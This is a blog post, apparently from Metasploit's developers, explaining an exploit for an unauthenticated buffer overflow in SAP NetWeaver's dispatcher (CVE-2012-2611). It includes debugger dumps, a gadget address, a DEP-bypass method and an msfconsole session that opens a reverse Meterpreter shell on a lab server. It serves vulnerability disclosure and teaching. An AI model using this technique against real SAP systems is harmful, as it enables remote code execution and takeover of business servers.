In this blog post we would like to share some details about the SAP NetWeaver exploit for CVE-2012-2611, which we've recently added to  Metasploit. This module exploits an unauthenticated buffer overflow, discovered by Martin Gallo, in the DiagTraceR3Info() function where tracing is enabled on SAP NetWeaver. It captured our attention due to the well documented technical details, and tools publicly available in order to trigger the vulnerability.

First of all, in order to understand the exploitation of this DiagTraceR3Info buffer overflow, the important points about the vulnerable function are explained below:

(1) The vulnerable function is protected by stack cookies:

(2) The overflow is caused by a copy-loop, with user controlled data to a static size variable on the stack. Understand this loop is important for exploitation, especially:

  • Before starting the loop, the first word (2 bytes) of data is used to identify if it must be converted to Unicode while copying. If the first word is detected as Unicode, the data will be just copied, without conversion, word by word. It's quite interesting, because this allows us to overflow the stack with our own controlled data!
  • A pointer to the user controlled data (message data) is stored in EBX and the reference is available after the copy loop.
  • To full understand the copying routine, I leave you the following reversing notes:

(3) After the overflowing loop, the function tries to recover a reference to the GetBytesPerChar() from an object stored in the stack. Since the data in the stack has been overwritten, it allows to take control of EIP before the stackcookies check:

(4) When the code tries to call the GetBytesPerChar()  function, EBX is still pointing to the start of the message data (user-controlled):

0:000> db ebx
099a0056  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
099a0066  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
099a0076  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
099a0086  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
099a0096  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
099a00a6  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
099a00b6  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
099a00c6  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

With this in mind, on a Windows XP SP3, with DEP OptIn, reliable code execution can be achieved just by using a "call ebx". Fortunately UNICODE pointers to "call ebx" exist on the "disp work.exe" image (it's the SAP dispatcher executable) and the conversion to Unicode along the copy loop is of no concern to us:

0:000> u 0x005f007a L1 disp_work!ThVBReadStat 0x23fa
[d:\depot\bas\720_rel\src\optu\ntintel\krn\thrun\thxxvb.c @ 11371]: 005f007a
ffd3            call    ebx

On Windows 2003 SP2, with DEP OptOut, DEP will be enabled for the Dispatcher service and the solution is not so easy. In the message data is converted to Unicode while the copy loop, some options to achieve execution could be:

  • Stackpivot to the contents pointed by EBX, or find a way to do a "mov esp, ebx" with unicode pointers.
  • In the stack, a reference to the user controlled data message (without conversion awright) can be found at ESP 20:
0:000> dd esp 20 L1
063e9d9c  099a0056
0:000> db poi(esp+20) 099a0056  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
099a0066  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
099a0076  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
099a0086  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
099a0096  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
099a00a6  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
099a00b6  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
099a00c6  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

So stackpivot to the contents pointed by [ESP 20], or find a way to do a "mov esp, [esp 0x20]" with unicode pointers would be another solution.

  • Have a Unicode compliant ROP chain.

Unfortunately, after some tries, we weren't able to achieve DEP bypass with neither of the above options. Because of this, it's important to avoid unicode conversion while the copy loop to achieve DEP bypass. With the loop analysis presented before in mind, injecting a null byte in the first word of the TraceInfo message, allows to overflow avoiding Unicode conversion, using full user-controlled data, overwrite the GetBytesPerChar() function pointer stored in the stack, and use the well known ROP chain from msvcrt.dll to achieve DEP bypass on Windows 2003 SP2. And here is the final result:

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%     %%%         %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%  %%  %%%%%%%%   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%  %  %%%%%%%%   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%  %%  %%%%%%   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% 
%%  %%%%%%%%%   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% 
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%  %%%  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%    %%   %%%%%%%%%%%  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%  %%%  %%%%%
%%%%  %%  %%  %      %%      %%    %%%%%      %    %%%%  %%   %%%%%%       %%
%%%%  %%  %%  %  %%% %%%%  %%%%  %%  %%%%  %%%%  %% %%  %% %%% %%  %%%  %%%%%
%%%%  %%%%%%  %%   %%%%%%   %%%%  %%%  %%%%  %%    %%  %%% %%% %%   %%  %%%%%
%%%%%%%%%%%% %%%%     %%%%%    %%  %%   %    %%  %%%%  %%%%   %%%   %%%     %
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%  %%%%%%% %%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%          %%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
    =[ metasploit v4.5.0-dev [core:4.5 api:1.0]
-- --=[ 948 exploits - 503 auxiliary - 151 post
-- --=[ 251 payloads - 28 encoders - 8 nops

msf  exploit(sap_netweaver_dispatcher) > use exploit/windows/misc/sap_netweaver_dispatcher
msf  exploit(sap_netweaver_dispatcher) > set
RHOST 192.168.1.149 RHOST => 192.168.1.149
msf  exploit(sap_netweaver_dispatcher) > exploit

[*] Started reverse handler on 192.168.1.128:4444
[*] 192.168.1.149:3200 - Sending initialize packet to the SAP Dispatcher
[*] 192.168.1.149:3200 - Sending crafted message
[*] Sending stage (764928 bytes) to 192.168.1.149
[*] Meterpreter session 3 opened (192.168.1.128:4444 -> 192.168.1.149:1201) at 2012-09-03 00:10:20 0200

meterpreter >
[*] Session ID 3 (192.168.1.128:4444 -> 192.168.1.149:1201) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: disp work.EXE (2732)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2012
[+] Successfully migrated to process

meterpreter > sysinfo
Computer        : MSFSAP2003
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > getuid
Server username: MSFSAP2003\SAPServiceNSP
meterpreter >

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions.